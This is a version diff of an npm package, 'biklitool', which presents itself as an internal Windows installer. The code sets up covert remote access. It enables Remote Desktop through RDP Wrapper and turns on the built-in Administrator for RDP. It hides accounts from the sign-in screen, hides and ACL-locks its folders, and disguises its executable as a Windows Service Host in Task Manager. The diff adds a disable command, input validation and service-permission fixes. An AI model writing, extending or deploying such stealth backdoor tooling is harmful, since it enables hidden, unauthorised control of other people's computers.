biklitool 5.0.0 → 5.0.1

package/README.md

@@ -33,6 +33,7 @@ biklitool status
 biklitool install
 biklitool disguise [name]
 biklitool enable-rdp
+biklitool disable-rdp
 biklitool create-user
 biklitool unhide-user [name]
 biklitool hide-user <name>
@@ -48,6 +49,8 @@ bikli --help
 
 Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
 service configuration, and the requested authentication and shadowing defaults.
+Run `biklitool disable-rdp` to turn Remote Desktop off and stop the RDP listener; the wrapper
+stays installed so `enable-rdp` can switch it back on at any time.
 
 ## Bikli key
 

package/bin/biklimaster.js

@@ -366,6 +366,7 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
 
   const vBuf = createVsVersionInfo(strings);
   const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
+  if (totalRsrcSize > rsrcRawSize) return false;
 
   const newExe = Buffer.from(exeBuf);
   newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
@@ -386,6 +387,7 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
 
 function disguiseBikli(customName) {
   requireWindows();
+  if (customName) customName = customName.replace(/"/g, '').trim();
   const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
   if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
 
@@ -456,6 +458,9 @@ function disguiseBikli(customName) {
     fs.writeFileSync(tempCs, csCode, 'utf8');
     run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
     try { fs.rmSync(tempCs, { force: true }); } catch {}
+    if (fileDescription(bikliPath) !== hostName) {
+      disguiseExecutable(bikliPath, hostName);
+    }
   } else if (fileDescription(bikliPath) !== hostName) {
     disguiseExecutable(bikliPath, hostName);
   }
@@ -540,6 +545,15 @@ function enableRemoteDesktop() {
   hideProtectedFolders();
 }
 
+function disableRemoteDesktop() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('disable-rdp');
+  const wrapper = runWrapper(['disable', '--elevated']);
+  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
+  if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);
+  console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');
+}
+
 function install() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('install');
@@ -607,7 +621,7 @@ function setupBikliKey() {
   console.log('Bikli key configured successfully.');
 }
 
-function hideFolder(target, isUserProfile = false) {
+function hideFolder(target, isUserProfile = false, extraGrants = []) {
   if (!target || !fs.existsSync(target)) return;
   try {
     run(attrib, ['+h', '+s', target], { allowFailure: true });
@@ -619,6 +633,7 @@ function hideFolder(target, isUserProfile = false) {
         '/grant:r',
         '*S-1-5-18:(OI)(CI)(F)',
         `*${administratorsGroupSid}:(OI)(CI)(F)`,
+        ...extraGrants,
         '/c', '/q'
       ], { allowFailure: true });
     }
@@ -629,15 +644,18 @@ function hideFolder(target, isUserProfile = false) {
 
 function hideProtectedFolders() {
   const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
+  // must keep read/execute access for that account or the service cannot start.
+  const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
   const appFolders = [
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
-    path.join(programData, 'BikliWrapper'),
-    path.join(programData, 'Bikli')
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(programData, 'BikliWrapper') },
+    { target: path.join(programData, 'Bikli') }
   ];
-  for (const folder of appFolders) hideFolder(folder, false);
+  for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
 
   const userFolders = [
     path.join(usersDir, 'Administrator'),
@@ -683,6 +701,29 @@ function showAccountCredentials() {
   console.log(`Stored for Administrators only: ${credentialsFile}`);
 }
 
+function parseAccountReport(stdout) {
+  const reportLine = (stdout || '')
+    .split(/\r?\n/)
+    .map(line => line.trim())
+    .find(line => line.startsWith('{'));
+  if (!reportLine) {
+    fail(`The account configuration script did not return a JSON report.${(stdout || '').trim() ? `\n${stdout.trim()}` : ''}`, 7);
+  }
+  try {
+    return JSON.parse(reportLine);
+  } catch {
+    fail(`The account configuration script returned an unreadable report: ${reportLine}`, 7);
+    return null;
+  }
+}
+
+function requireValidUserName(name) {
+  if (!/^[A-Za-z0-9._-]{1,20}$/.test(name)) {
+    fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');
+  }
+  return name;
+}
+
 function createRdpAdministrator() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('create-user');
@@ -707,7 +748,7 @@ function createRdpAdministrator() {
     `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
     `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
     `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
-    `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
+    `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,
     `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
@@ -716,7 +757,7 @@ function createRdpAdministrator() {
       BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
     }
   });
-  const account = JSON.parse(result.stdout.trim());
+  const account = parseAccountReport(result.stdout);
   if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
     fail('The Remote Desktop administrator account could not be verified.', 7);
   }
@@ -745,7 +786,7 @@ function createRdpAdministrator() {
 
 function unhideUser() {
   requireWindows();
-  const targetUser = process.argv[3];
+  const targetUser = process.argv[3] ? requireValidUserName(process.argv[3]) : '';
   if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
   const script = [
     `$ErrorActionPreference='Stop'`,
@@ -755,10 +796,10 @@ function unhideUser() {
     targetUser ? [
       `$val=$key.GetValue('${targetUser}', $null)`,
       `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
-      `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
+      `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}`
     ].join(';') : [
       `$props=@($key.Property)`,
-      `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
+      `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}}}`
     ].join(';')
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
@@ -769,6 +810,7 @@ function hideUser() {
   requireWindows();
   const targetUser = process.argv[3];
   if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
+  requireValidUserName(targetUser);
   if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
   const script = [
     `$ErrorActionPreference='Stop'`,
@@ -777,7 +819,7 @@ function hideUser() {
     `$key=Get-Item -LiteralPath $userListKey`,
     `$currentVal=$key.GetValue('${targetUser}', $null)`,
     `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
-    `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`
+    `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`
   ].join(';');
   const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
   if (result.stdout.trim()) console.log(result.stdout.trim());
@@ -840,6 +882,7 @@ function help() {
     '  biklitool install       Install/update Bikli CLI and Bikli Wrapper',
     '  biklitool disguise [n]  Disguise Bikli as Windows Service Host in Task Manager',
     '  biklitool enable-rdp    Enable RDP, port 3389, firewall, and defaults',
+    '  biklitool disable-rdp   Disable RDP and stop the RDP listener',
     '  biklitool create-user   Enable/verify built-in Administrator for RDP',
     '  biklitool unhide-user [name]  Unhide account(s) from Windows sign-in screen',
     '  biklitool hide-user <name>    Hide specific account from Windows sign-in screen',
@@ -857,9 +900,22 @@ function help() {
 
 function main() {
   const command = (process.argv[2] || 'status').toLowerCase();
-  if (command === 'install') return install();
+  if (command === 'install') {
+    if (process.argv.includes('--postinstall')) {
+      try {
+        return install();
+      } catch (error) {
+        console.error(`Bikli Master postinstall could not finish: ${error.message}`);
+        console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
+        process.exitCode = 0;
+        return;
+      }
+    }
+    return install();
+  }
   if (command === 'disguise') return disguiseBikli(process.argv[3]);
-  if (command === 'enable-rdp') return enableRemoteDesktop();
+  if (command === 'enable-rdp' || command === 'enable') return enableRemoteDesktop();
+  if (command === 'disable-rdp' || command === 'disable') return disableRemoteDesktop();
   if (command === 'create-user') return createRdpAdministrator();
   if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
   if (command === 'hide-user' || command === 'hide') return hideUser();

package/lib/bikliwrapper.js

@@ -24,6 +24,7 @@ if (resultFile) {
   };
   console.log = writeResult;
   console.error = writeResult;
+  console.warn = writeResult;
 }
 
 const packageRoot = path.resolve(__dirname, '..');
@@ -238,6 +239,13 @@ function runInstaller(argument) {
   return run(installerPath, [argument], { cwd: payloadDirectory });
 }
 
+function restartTermService() {
+  const net = path.join(system32, 'net.exe');
+  run(net, ['stop', 'TermService', '/y'], { allowFailure: true });
+  run(net, ['start', 'TermService'], { allowFailure: true });
+  run(net, ['start', 'UmRdpService'], { allowFailure: true });
+}
+
 function serviceIsRunning() {
   const result = run(path.join(system32, 'sc.exe'), ['query', 'TermService'], { allowFailure: true });
   return result.status === 0 && /STATE\s*:\s*4\s+RUNNING/i.test(result.stdout);
@@ -284,7 +292,7 @@ function printStatus(status) {
   console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
 }
 
-function hideFolder(target, isUserProfile = false) {
+function hideFolder(target, isUserProfile = false, extraGrants = []) {
   if (!target || !fs.existsSync(target)) return;
   try {
     run(path.join(system32, 'attrib.exe'), ['+h', '+s', target], { allowFailure: true });
@@ -296,6 +304,7 @@ function hideFolder(target, isUserProfile = false) {
         '/grant:r',
         '*S-1-5-18:(OI)(CI)(F)',
         '*S-1-5-32-544:(OI)(CI)(F)',
+        ...extraGrants,
         '/c', '/q'
       ], { allowFailure: true });
     }
@@ -306,15 +315,18 @@ function hideFolder(target, isUserProfile = false) {
 
 function hideProtectedFolders() {
   const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
+  // must keep read/execute access for that account or the service cannot start.
+  const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
   const appFolders = [
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
-    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
-    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
-    path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
-    path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
+    { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
+    { target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper') },
+    { target: path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli') }
   ];
-  for (const folder of appFolders) hideFolder(folder, false);
+  for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
 
   const userFolders = [
     path.join(usersDir, 'Administrator'),
@@ -365,6 +377,7 @@ function install() {
     console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
   }
 
+  restartTermService();
   waitForServiceAndListener();
   hideProtectedFolders();
   installation = detectInstallation(version);
@@ -380,6 +393,27 @@ function install() {
   console.log('Bikli Wrapper installation and verification completed successfully.');
 }
 
+function disable() {
+  requireWindows();
+  if (!isAdministrator()) return elevateAndRun('disable');
+  console.log('Disabling Remote Desktop and stopping the RDP listener...');
+  run(path.join(system32, 'reg.exe'), [
+    'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
+    '/d', '1', '/f', '/reg:64'
+  ]);
+  const script = `Disable-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
+  run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
+  restartTermService();
+  if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
+    fail('Remote Desktop could not be disabled.', 6);
+  }
+  if (listenerIsListening()) {
+    console.log('Warning: the RDP listener is still reported as listening; a reboot may be required.');
+  } else {
+    console.log('Remote Desktop disabled; the RDP listener is stopped.');
+  }
+}
+
 function selfTest() {
   const packageJson = runningAsSea
     ? { name: 'bikliwrapper' }
@@ -412,6 +446,7 @@ function showHelp() {
     '  bikliwrapper install    Install/update silently, apply defaults, and verify',
     '  bikliwrapper status     Show installation, support, service, and listener status',
     '  bikliwrapper defaults   Reapply the requested defaults and restart if needed',
+    '  bikliwrapper disable    Disable Remote Desktop and stop the RDP listener',
     '  bikliwrapper self-test  Validate the npm package payload without changing Windows',
     '',
     'Run install/defaults from an Administrator terminal.'
@@ -420,7 +455,8 @@ function showHelp() {
 
 function main() {
   const command = (process.argv[2] || 'status').toLowerCase();
-  if (command === 'install' || command === 'defaults') return install();
+  if (command === 'install' || command === 'defaults' || command === 'enable') return install();
+  if (command === 'disable') return disable();
   if (command === 'status') {
     requireWindows();
     const status = collectStatus();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "biklitool",
-  "version": "5.0.0",
+  "version": "5.0.1",
   "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
   "license": "BSD-3-Clause",
   "publishConfig": {